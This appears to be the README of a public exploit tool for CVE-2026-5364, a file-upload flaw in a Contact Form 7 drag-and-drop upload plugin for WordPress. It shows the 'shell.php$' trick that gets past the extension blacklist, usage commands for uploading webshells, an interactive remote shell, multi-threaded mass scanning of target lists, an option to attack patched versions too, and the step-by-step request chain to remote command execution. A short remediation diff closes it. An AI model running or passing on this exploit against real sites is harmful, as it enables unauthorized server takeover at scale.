pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← bypasses the blacklist
sanitize_file_name('shell.php$')            →  'shell.php'  ← saved as PHP

git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

# Basic exploit (id command)
python CVE-2026-5364.py -u https://target.com

# Custom command
python CVE-2026-5364.py -u https://target.com -c "whoami"

# Interactive shell
python CVE-2026-5364.py -u https://target.com --interactive

# Different shell type
python CVE-2026-5364.py -u https://target.com --shell exec

# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

# Scan with 20 threads
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# Also test patched versions
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# Save results to file
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

Target:
  -u, --url URL         Single target URL
  -l, --list FILE       Target list (URL per line)

Exploit:
  -c, --cmd CMD         OS command (default: id)
  --shell TYPE          Webshell type: basic|exec|pass|eval|info
  -i, --interactive     Open interactive shell
  --no-skip-patched     Also try patched versions

Scanning:
  -t, --threads N       Number of threads (default: 10)
  --timeout S           Timeout in seconds (default: 15)
  --proxy URL           Proxy address

Output:
  -o, --output FILE     Results file
  -v, --verbose         Verbose output
  --no-color            Disable colored output

1. Nonce Detection
   └─ Exposed to every visitor via wp_localize_script()
      GET /contact/ → "nonce":"abc123def4" inside HTML

2. Shell Upload
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← not in blacklist
      file=shell.php$    ← sanitize_file_name() → shell.php

3. URL Retrieval
   └─ Response: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

$  %  ~  `  (space)

# Update with WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7

// WRONG (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// CORRECT (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type parameter now read from admin setting
$type = $this->get_admin_allowed_types($form_id);  // not from POST